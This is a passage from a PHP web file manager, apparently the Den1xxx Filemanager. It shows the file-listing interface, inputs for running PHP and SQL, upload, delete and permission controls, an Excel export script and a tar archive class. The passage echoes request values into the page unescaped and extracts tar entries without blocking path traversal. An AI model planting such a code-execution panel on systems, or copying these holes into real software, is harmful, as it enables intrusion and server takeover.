  1181.                 } else $msg .= __('Error occurred').': '.__('no files');
  1182.         }
  1183. ?>
  1184. <table class="whole" id="header_table" >
  1185. <tr>
  1186.     <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
  1187. </tr>
  1188. <?php if(!empty($msg)){ ?>
  1189. <tr>
  1190.         <td colspan="2" class="row2"><?=$msg?></td>
  1191. </tr>
  1192. <?php } ?>
  1193. <tr>
  1194.     <td class="row2">
  1195.                 <table>
  1196.                         <tr>
  1197.                         <td>
  1198.                                 <?=fm_home()?>
  1199.                         </td>
  1200.                         <td>
  1201.                         <?php if(!empty($fm_config['make_directory'])) { ?>
  1202.                                 <form method="post" action="<?=$url_inc?>">
  1203.                                 <input type="hidden" name="path" value="<?=$path?>" />
  1204.                                 <input type="text" name="dirname" size="15">
  1205.                                 <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
  1206.                                 </form>
  1207.                         <?php } ?>
  1208.                         </td>
  1209.                         <td>
  1210.                         <?php if(!empty($fm_config['new_file'])) { ?>
  1211.                                 <form method="post" action="<?=$url_inc?>">
  1212.                                 <input type="hidden" name="path"     value="<?=$path?>" />
  1213.                                 <input type="text"   name="filename" size="15">
  1214.                                 <input type="submit" name="mkfile"   value="<?=__('New file')?>">
  1215.                                 </form>
  1216.                         <?php } ?>
  1217.                         </td>
  1218.                         <td>
  1219.                                 <form  method="post" action="<?=$url_inc?>" style="display:inline">
  1220.                                 <input type="hidden" name="path" value="<?=$path?>" />
  1221.                                 <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
  1222.                                 <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
  1223.                                 <input type="submit" name="search" value="<?=__('Search')?>">
  1224.                                 </form>
  1225.                         </td>
  1226.                         <td>
  1227.                         <?=fm_run_input('php')?>
  1228.                         </td>
  1229.                         <td>
  1230.                         <?=fm_run_input('sql')?>
  1231.                         </td>
  1232.                         </tr>
  1233.                 </table>
  1234.     </td>
  1235.     <td class="row3">
  1236.                 <table>
  1237.                 <tr>
  1238.                 <td>
  1239.                 <?php if (!empty($fm_config['upload_file'])) { ?>
  1240.                         <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
  1241.                         <input type="hidden" name="path" value="<?=$path?>" />
  1242.                         <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
  1243.                         <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
  1244.                         <input type="submit"name="test" value="<?=__('Upload')?>" />
  1245.                         </form>
  1246.                 <?php } ?>
  1247.                 </td>
  1248.                 <td>
  1249.                 <?php if ($auth['authorize']) { ?>
  1250.                         <form action="" method="post">&nbsp;&nbsp;&nbsp;
  1251.                         <input name="quit" type="hidden" value="1">
  1252.                         <?=__('Hello')?>, <?=$auth['login']?>
  1253.                         <input type="submit" value="<?=__('Quit')?>">
  1254.                         </form>
  1255.                 <?php } ?>
  1256.                 </td>
  1257.                 <td>
  1258.                 <?=fm_lang_form($language)?>
  1259.                 </td>
  1260.                 <tr>
  1261.                 </table>
  1262.     </td>
  1263. </tr>
  1264. </table>
  1265. <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
  1266. <thead>
  1267. <tr>
  1268.     <th style="white-space:nowrap"> <?=__('Filename')?> </th>
  1269.     <th style="white-space:nowrap"> <?=__('Size')?> </th>
  1270.     <th style="white-space:nowrap"> <?=__('Date')?> </th>
  1271.     <th style="white-space:nowrap"> <?=__('Rights')?> </th>
  1272.     <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
  1273. </tr>
  1274. </thead>
  1275. <tbody>
  1276. <?php
  1277. $elements = fm_scan_dir($path, '', 'all', true);
  1278. $dirs = array();
  1279. $files = array();
  1280. foreach ($elements as $file){
  1281.     if(@is_dir($path . $file)){
  1282.         $dirs[] = $file;
  1283.     } else {
  1284.         $files[] = $file;
  1285.     }
  1286. }
  1287. natsort($dirs); natsort($files);
  1288. $elements = array_merge($dirs, $files);
  1289.  
  1290. foreach ($elements as $file){
  1291.     $filename = $path . $file;
  1292.     $filedata = @stat($filename);
  1293.     if(@is_dir($filename)){
  1294.                 $filedata[7] = '';
  1295.                 if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
  1296.         $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
  1297.         $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
  1298.                 $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
  1299.         $style = 'row2';
  1300.                  if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
  1301.     } else {
  1302.                 $link =
  1303.                         $fm_config['show_img']&&@getimagesize($filename)
  1304.                         ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
  1305.                         . fm_img_link($filename)
  1306.                         .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
  1307.                         : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
  1308.                 $e_arr = explode(".", $file);
  1309.                 $ext = end($e_arr);
  1310.         $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
  1311.                 $arlink = in_array($ext,array('zip','gz','tar'))
  1312.                 ? ''
  1313.                 : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
  1314.         $style = 'row1';
  1315.                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
  1316.     }
  1317.     $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
  1318.     $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
  1319.     $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
  1320. ?>
  1321. <tr class="<?=$style?>">
  1322.     <td><?=$link?></td>
  1323.     <td><?=$filedata[7]?></td>
  1324.     <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
  1325.     <td><?=$rightstext?></td>
  1326.     <td><?=$deletelink?></td>
  1327.     <td><?=$renamelink?></td>
  1328.     <td><?=$loadlink?></td>
  1329.     <td><?=$arlink?></td>
  1330. </tr>
  1331. <?php
  1332.     }
  1333. }
  1334. ?>
  1335. </tbody>
  1336. </table>
  1337. <div class="row3"><?php
  1338.         $mtime = explode(' ', microtime());
  1339.         $totaltime = $mtime[0] + $mtime[1] - $starttime;
  1340.         echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
  1341.         if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
  1342.         if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
  1343.         if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
  1344.         if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
  1345.         if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
  1346.         if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
  1347.         if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
  1348.         ?>
  1349. </div>
  1350. <script type="text/javascript">
  1351. function download_xls(filename, text) {
  1352.         var element = document.createElement('a');
  1353.         element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
  1354.         element.setAttribute('download', filename);
  1355.         element.style.display = 'none';
  1356.         document.body.appendChild(element);
  1357.         element.click();
  1358.         document.body.removeChild(element);
  1359. }
  1360.  
  1361. function base64_encode(m) {
  1362.         for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
  1363.                 c = m.charCodeAt(l);
  1364.                 if (128 > c) d = 1;
  1365.                 else
  1366.                         for (d = 2; c >= 2 << 5 * d;) ++d;
  1367.                 for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
  1368.         }
  1369.         b && (g += k[f << 6 - b]);
  1370.         return g
  1371. }
  1372.  
  1373.  
  1374. var tableToExcelData = (function() {
  1375.     var uri = 'data:application/vnd.ms-excel;base64,',
  1376.     template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
  1377.     format = function(s, c) {
  1378.             return s.replace(/{(\w+)}/g, function(m, p) {
  1379.                 return c[p];
  1380.             })
  1381.         }
  1382.     return function(table, name) {
  1383.         if (!table.nodeType) table = document.getElementById(table)
  1384.         var ctx = {
  1385.             worksheet: name || 'Worksheet',
  1386.             table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
  1387.         }
  1388.                 t = new Date();
  1389.                 filename = 'fm_' + t.toISOString() + '.xls'
  1390.                 download_xls(filename, base64_encode(format(template, ctx)))
  1391.     }
  1392. })();
  1393.  
  1394. var table2Excel = function () {
  1395.  
  1396.     var ua = window.navigator.userAgent;
  1397.     var msie = ua.indexOf("MSIE ");
  1398.  
  1399.         this.CreateExcelSheet =
  1400.                 function(el, name){
  1401.                         if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
  1402.  
  1403.                                 var x = document.getElementById(el).rows;
  1404.  
  1405.                                 var xls = new ActiveXObject("Excel.Application");
  1406.  
  1407.                                 xls.visible = true;
  1408.                                 xls.Workbooks.Add
  1409.                                 for (i = 0; i < x.length; i++) {
  1410.                                         var y = x[i].cells;
  1411.  
  1412.                                         for (j = 0; j < y.length; j++) {
  1413.                                                 xls.Cells(i + 1, j + 1).Value = y[j].innerText;
  1414.                                         }
  1415.                                 }
  1416.                                 xls.Visible = true;
  1417.                                 xls.UserControl = true;
  1418.                                 return xls;
  1419.                         } else {
  1420.                                 tableToExcelData(el, name);
  1421.                         }
  1422.                 }
  1423. }
  1424. </script>
  1425. </body>
  1426. </html>
  1427.  
  1428. <?php
  1429. //Ported from ReloadCMS project http://reloadcms.com
  1430. class archiveTar {
  1431.         var $archive_name = '';
  1432.         var $tmp_file = 0;
  1433.         var $file_pos = 0;
  1434.         var $isGzipped = true;
  1435.         var $errors = array();
  1436.         var $files = array();
  1437.        
  1438.         function __construct(){
  1439.                 if (!isset($this->errors)) $this->errors = array();
  1440.         }
  1441.        
  1442.         function createArchive($file_list){
  1443.                 $result = false;
  1444.                 if (file_exists($this->archive_name) && is_file($this->archive_name))   $newArchive = false;
  1445.                 else $newArchive = true;
  1446.                 if ($newArchive){
  1447.                         if (!$this->openWrite()) return false;
  1448.                 } else {
  1449.                         if (filesize($this->archive_name) == 0) return $this->openWrite();
  1450.                         if ($this->isGzipped) {
  1451.                                 $this->closeTmpFile();
  1452.                                 if (!rename($this->archive_name, $this->archive_name.'.tmp')){
  1453.                                         $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
  1454.                                         return false;
  1455.                                 }
  1456.                                 $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
  1457.                                 if (!$tmpArchive){
  1458.                                         $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
  1459.                                         rename($this->archive_name.'.tmp', $this->archive_name);
  1460.                                         return false;
  1461.                                 }
  1462.                                 if (!$this->openWrite()){
  1463.                                         rename($this->archive_name.'.tmp', $this->archive_name);
  1464.                                         return false;
  1465.                                 }
  1466.                                 $buffer = gzread($tmpArchive, 512);
  1467.                                 if (!gzeof($tmpArchive)){
  1468.                                         do {
  1469.                                                 $binaryData = pack('a512', $buffer);
  1470.                                                 $this->writeBlock($binaryData);
  1471.                                                 $buffer = gzread($tmpArchive, 512);
  1472.                                         }
  1473.                                         while (!gzeof($tmpArchive));
  1474.                                 }
  1475.                                 gzclose($tmpArchive);
  1476.                                 unlink($this->archive_name.'.tmp');
  1477.                         } else {
  1478.                                 $this->tmp_file = fopen($this->archive_name, 'r+b');
  1479.                                 if (!$this->tmp_file)   return false;
  1480.                         }
  1481.                 }
  1482.                 if (isset($file_list) && is_array($file_list)) {
  1483.                 if (count($file_list)>0)
  1484.                         $result = $this->packFileArray($file_list);
  1485.                 } else $this->errors[] = __('No file').__(' to ').__('Archive');
  1486.                 if (($result)&&(is_resource($this->tmp_file))){
  1487.                         $binaryData = pack('a512', '');
  1488.                         $this->writeBlock($binaryData);
  1489.                 }
  1490.                 $this->closeTmpFile();
  1491.                 if ($newArchive && !$result){
  1492.                 $this->closeTmpFile();
  1493.                 unlink($this->archive_name);
  1494.                 }
  1495.                 return $result;
  1496.         }
  1497.  
  1498.         function restoreArchive($path){
  1499.                 $fileName = $this->archive_name;
  1500.                 if (!$this->isGzipped){
  1501.                         if (file_exists($fileName)){
  1502.                                 if ($fp = fopen($fileName, 'rb')){
  1503.                                         $data = fread($fp, 2);
  1504.                                         fclose($fp);
  1505.                                         if ($data == '\37\213'){
  1506.                                                 $this->isGzipped = true;
  1507.                                         }
  1508.                                 }
  1509.                         }
  1510.                         elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
  1511.                 }
  1512.                 $result = true;
  1513.                 if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
  1514.                 else $this->tmp_file = fopen($fileName, 'rb');
  1515.                 if (!$this->tmp_file){
  1516.                         $this->errors[] = $fileName.' '.__('is not readable');
  1517.                         return false;
  1518.                 }
  1519.                 $result = $this->unpackFileArray($path);
  1520.                         $this->closeTmpFile();
  1521.                 return $result;
  1522.         }
  1523.  
  1524.         function showErrors     ($message = '') {
  1525.                 $Errors = $this->errors;
  1526.                 if(count($Errors)>0) {
  1527.                 if (!empty($message)) $message = ' ('.$message.')';
  1528.                         $message = __('Error occurred').$message.': <br/>';
  1529.                         foreach ($Errors as $value)
  1530.                                 $message .= $value.'<br/>';
  1531.                         return $message;       
  1532.                 } else return '';
  1533.                
  1534.         }
  1535.        
  1536.         function packFileArray($file_array){
  1537.                 $result = true;
  1538.                 if (!$this->tmp_file){
  1539.                         $this->errors[] = __('Invalid file descriptor');
  1540.                         return false;
  1541.                 }
  1542.                 if (!is_array($file_array) || count($file_array)<=0)
  1543.           return true;
  1544.                 for ($i = 0; $i<count($file_array); $i++){
  1545.                         $filename = $file_array[$i];
  1546.                         if ($filename == $this->archive_name)
  1547.                                 continue;
  1548.                         if (strlen($filename)<=0)
  1549.                                 continue;
  1550.                         if (!file_exists($filename)){
  1551.                                 $this->errors[] = __('No file').' '.$filename;
  1552.                                 continue;
  1553.                         }
  1554.                         if (!$this->tmp_file){
  1555.                         $this->errors[] = __('Invalid file descriptor');
  1556.                         return false;
  1557.                         }
  1558.                 if (strlen($filename)<=0){
  1559.                         $this->errors[] = __('Filename').' '.__('is incorrect');;
  1560.                         return false;
  1561.                 }
  1562.                 $filename = str_replace('\\', '/', $filename);
  1563.                 $keep_filename = $this->makeGoodPath($filename);
  1564.                 if (is_file($filename)){
  1565.                         if (($file = fopen($filename, 'rb')) == 0){
  1566.                                 $this->errors[] = __('Mode ').__('is incorrect');
  1567.                         }
  1568.                                 if(($this->file_pos == 0)){
  1569.                                         if(!$this->writeHeader($filename, $keep_filename))
  1570.                                                 return false;
  1571.                                 }
  1572.                                 while (($buffer = fread($file, 512)) != ''){
  1573.                                         $binaryData = pack('a512', $buffer);
  1574.                                         $this->writeBlock($binaryData);
  1575.                                 }
  1576.                         fclose($file);
  1577.                 }       else $this->writeHeader($filename, $keep_filename);
  1578.                         if (@is_dir($filename)){
  1579.                                 if (!($handle = opendir($filename))){
  1580.                                         $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
  1581.                                         continue;
  1582.                                 }
  1583.                                 while (false !== ($dir = readdir($handle))){
  1584.                                         if ($dir!='.' && $dir!='..'){
  1585.                                                 $file_array_tmp = array();
  1586.                                                 if ($filename != '.')
  1587.                                                         $file_array_tmp[] = $filename.'/'.$dir;
  1588.                                                 else
  1589.                                                         $file_array_tmp[] = $dir;
  1590.  
  1591.                                                 $result = $this->packFileArray($file_array_tmp);
  1592.                                         }
  1593.                                 }
  1594.                                 unset($file_array_tmp);
  1595.                                 unset($dir);
  1596.                                 unset($handle);
  1597.                         }
  1598.                 }
  1599.                 return $result;
  1600.         }
  1601.  
  1602.         function unpackFileArray($path){
  1603.                 $path = str_replace('\\', '/', $path);
  1604.                 if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
  1605.                 clearstatcache();
  1606.                 while (strlen($binaryData = $this->readBlock()) != 0){
  1607.                         if (!$this->readHeader($binaryData, $header)) return false;
  1608.                         if ($header['filename'] == '') continue;
  1609.                         if ($header['typeflag'] == 'L'){                        //reading long header
  1610.                                 $filename = '';
  1611.                                 $decr = floor($header['size']/512);
  1612.                                 for ($i = 0; $i < $decr; $i++){
  1613.                                         $content = $this->readBlock();
  1614.                                         $filename .= $content;
  1615.                                 }
  1616.                                 if (($laspiece = $header['size'] % 512) != 0){
  1617.                                         $content = $this->readBlock();
  1618.                                         $filename .= substr($content, 0, $laspiece);
  1619.                                 }
  1620.                                 $binaryData = $this->readBlock();
  1621.                                 if (!$this->readHeader($binaryData, $header)) return false;
  1622.                                 else $header['filename'] = $filename;
  1623.                                 return true;
  1624.                         }
  1625.                         if (($path != './') && ($path != '/')){
  1626.                                 while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
  1627.                                 if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
  1628.                                 else $header['filename'] = $path.'/'.$header['filename'];
  1629.                         }
  1630.                        
  1631.                         if (file_exists($header['filename'])){
  1632.                                 if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
  1633.                                         $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
  1634.                                         return false;
  1635.                                 }
  1636.                                 if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
  1637.                                         $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
  1638.                                         return false;
  1639.                                 }
  1640.                                 if (!is_writeable($header['filename'])){
  1641.                                         $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
  1642.                                         return false;
  1643.                                 }
  1644.                         } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
  1645.                                 $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
  1646.                                 return false;
  1647.                         }
  1648.  
  1649.                         if ($header['typeflag'] == '5'){
  1650.                                 if (!file_exists($header['filename']))          {
  1651.                                         if (!mkdir($header['filename'], 0777))  {
  1652.                                                
  1653.                                                 $this->errors[] = __('Cannot create directory').' '.$header['filename'];
  1654.                                                 return false;
  1655.                                         }
  1656.                                 }
  1657.                         } else {
  1658.                                 if (($destination = fopen($header['filename'], 'wb')) == 0) {
  1659.                                         $this->errors[] = __('Cannot write to file').' '.$header['filename'];
  1660.                                         return false;
  1661.                                 } else {
  1662.                                         $decr = floor($header['size']/512);
  1663.                                         for ($i = 0; $i < $decr; $i++) {
  1664.                                                 $content = $this->readBlock();
  1665.                                                 fwrite($destination, $content, 512);
  1666.                                         }
  1667.                                         if (($header['size'] % 512) != 0) {
  1668.                                                 $content = $this->readBlock();
  1669.                                                 fwrite($destination, $content, ($header['size'] % 512));
  1670.                                         }
  1671.                                         fclose($destination);
  1672.                                         touch($header['filename'], $header['time']);
  1673.                                 }
  1674.                                 clearstatcache();
  1675.                                 if (filesize($header['filename']) != $header['size']) {
  1676.                                         $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
  1677.                                         return false;
  1678.                                 }
  1679.                         }
  1680.                         if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir= '';
  1681.                         if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
  1682.                         $this->dirs[] = $file_dir;
  1683.                         $this->files[] = $header['filename'];
  1684.        
  1685.                 }
  1686.                 return true;
  1687.         }
  1688.  
  1689.         function dirCheck($dir){
  1690.                 $parent_dir = dirname($dir);
  1691.  
  1692.                 if ((@is_dir($dir)) or ($dir == ''))
  1693.                         return true;
  1694.  
  1695.                 if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
  1696.                         return false;
  1697.  
  1698.                 if (!mkdir($dir, 0777)){
  1699.                         $this->errors[] = __('Cannot create directory').' '.$dir;
  1700.                         return false;
  1701.                 }
  1702.                 return true;
  1703.         }
  1704.  
  1705.         function readHeader($binaryData, &$header){
  1706.                 if (strlen($binaryData)==0){
  1707.                         $header['filename'] = '';
  1708.                         return true;
  1709.                 }
  1710.  
  1711.                 if (strlen($binaryData) != 512){
  1712.                         $header['filename'] = '';
  1713.                         $this->__('Invalid block size').': '.strlen($binaryData);
  1714.                         return false;
  1715.                 }
  1716.  
  1717.                 $checksum = 0;
  1718.                 for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
  1719.                 for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
  1720.                 for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
  1721.  
  1722.                 $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
  1723.  
  1724.                 $header['checksum'] = OctDec(trim($unpack_data['checksum']));
  1725.                 if ($header['checksum'] != $checksum){
  1726.                         $header['filename'] = '';
  1727.                         if (($checksum == 256) && ($header['checksum'] == 0))   return true;
  1728.                         $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
  1729.                         return false;
  1730.                 }
  1731.  
  1732.                 if (($header['typeflag'] = $unpack_data['typeflag']) == '5')    $header['size'] = 0;
  1733.                 $header['filename'] = trim($unpack_data['filename']);
  1734.                 $header['mode'] = OctDec(trim($unpack_data['mode']));
  1735.                 $header['user_id'] = OctDec(trim($unpack_data['user_id']));
  1736.                 $header['group_id'] = OctDec(trim($unpack_data['group_id']));
  1737.                 $header['size'] = OctDec(trim($unpack_data['size']));
  1738.                 $header['time'] = OctDec(trim($unpack_data['time']));
  1739.                 return true;
  1740.         }
  1741.  
  1742.         function writeHeader($filename, $keep_filename){
  1743.                 $packF = 'a100a8a8a8a12A12';
  1744.                 $packL = 'a1a100a6a2a32a32a8a8a155a12';
  1745.                 if (strlen($keep_filename)<=0) $keep_filename = $filename;
  1746.                 $filename_ready = $this->makeGoodPath($keep_filename);
  1747.  
  1748.                 if (strlen($filename_ready) > 99){                                                      //write long header
  1749.                 $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
  1750.                 $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
  1751.  
  1752.         //  Calculate the checksum
  1753.                 $checksum = 0;
  1754.         //  First part of the header
  1755.                 for ($i = 0; $i < 148; $i++)
  1756.                         $checksum += ord(substr($dataFirst, $i, 1));
  1757.         //  Ignore the checksum value and replace it by ' ' (space)
  1758.                 for ($i = 148; $i < 156; $i++)
  1759.                         $checksum += ord(' ');
  1760.         //  Last part of the header
  1761.                 for ($i = 156, $j=0; $i < 512; $i++, $j++)
  1762.                         $checksum += ord(substr($dataLast, $j, 1));
  1763.         //  Write the first 148 bytes of the header in the archive
  1764.                 $this->writeBlock($dataFirst, 148);
  1765.         //  Write the calculated checksum
  1766.                 $checksum = sprintf('%6s ', DecOct($checksum));
  1767.                 $binaryData = pack('a8', $checksum);
  1768.                 $this->writeBlock($binaryData, 8);
  1769.         //  Write the last 356 bytes of the header in the archive
  1770.                 $this->writeBlock($dataLast, 356);
  1771.  
  1772.                 $tmp_filename = $this->makeGoodPath($filename_ready);
  1773.  
  1774.                 $i = 0;
  1775.                         while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
  1776.                                 $binaryData = pack('a512', $buffer);
  1777.                                 $this->writeBlock($binaryData);
  1778.                         }
  1779.                 return true;
  1780.                 }
  1781.                 $file_info = stat($filename);
  1782.                 if (@is_dir($filename)){
  1783.                         $typeflag = '5';
  1784.                         $size = sprintf('%11s ', DecOct(0));
  1785.                 } else {
  1786.                         $typeflag = '';
  1787.                         clearstatcache();
  1788.                         $size = sprintf('%11s ', DecOct(filesize($filename)));
  1789.                 }
  1790.                 $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
  1791.                 $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
  1792.                 $checksum = 0;
  1793.                 for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
  1794.                 for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
  1795.                 for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
  1796.                 $this->writeBlock($dataFirst, 148);
  1797.                 $checksum = sprintf('%6s ', DecOct($checksum));
  1798.                 $binaryData = pack('a8', $checksum);
  1799.                 $this->writeBlock($binaryData, 8);
  1800.                 $this->writeBlock($dataLast, 356);
  1801.                 return true;
  1802.         }
  1803.  
  1804.         function openWrite(){
  1805.                 if ($this->isGzipped)
  1806.                         $this->tmp_file = gzopen($this->archive_name, 'wb9f');
  1807.                 else
  1808.                         $this->tmp_file = fopen($this->archive_name, 'wb');
  1809.  
  1810.                 if (!($this->tmp_file)){
  1811.                         $this->errors[] = __('Cannot write to file').' '.$this->archive_name;
  1812.                         return false;
  1813.                 }
  1814.                 return true;
  1815.         }
  1816.  
  1817.         function readBlock(){
  1818.                 if (is_resource($this->tmp_file)){
  1819.                         if ($this->isGzipped)
  1820.                                 $block = gzread($this->tmp_file, 512);
  1821.                         else
  1822.                                 $block = fread($this->tmp_file, 512);
  1823.                 } else  $block = '';
  1824.  
  1825.                 return $block;
  1826.         }
  1827.  
  1828.         function writeBlock($data, $length = 0){
  1829.                 if (is_resource($this->tmp_file)){
  1830.                
  1831.                         if ($length === 0){
  1832.                                 if ($this->isGzipped)
  1833.                                         gzputs($this->tmp_file, $data);
  1834.                                 else
  1835.                                         fputs($this->tmp_file, $data);
  1836.                         } else {
  1837.                                 if ($this->isGzipped)
  1838.                                         gzputs($this->tmp_file, $data, $length);
  1839.                                 else
  1840.                                         fputs($this->tmp_file, $data, $length);
  1841.                         }
  1842.                 }
  1843.         }
  1844.  
  1845.         function closeTmpFile(){
  1846.                 if (is_resource($this->tmp_file)){
  1847.                         if ($this->isGzipped)
  1848.                                 gzclose($this->tmp_file);
  1849.                         else
  1850.                                 fclose($this->tmp_file);
  1851.  
  1852.                         $this->tmp_file = 0;
  1853.                 }
  1854.         }
  1855.  
  1856.         function makeGoodPath($path){
  1857.                 if (strlen($path)>0){
  1858.                         $path = str_replace('\\', '/', $path);
  1859.                         $partPath = explode('/', $path);
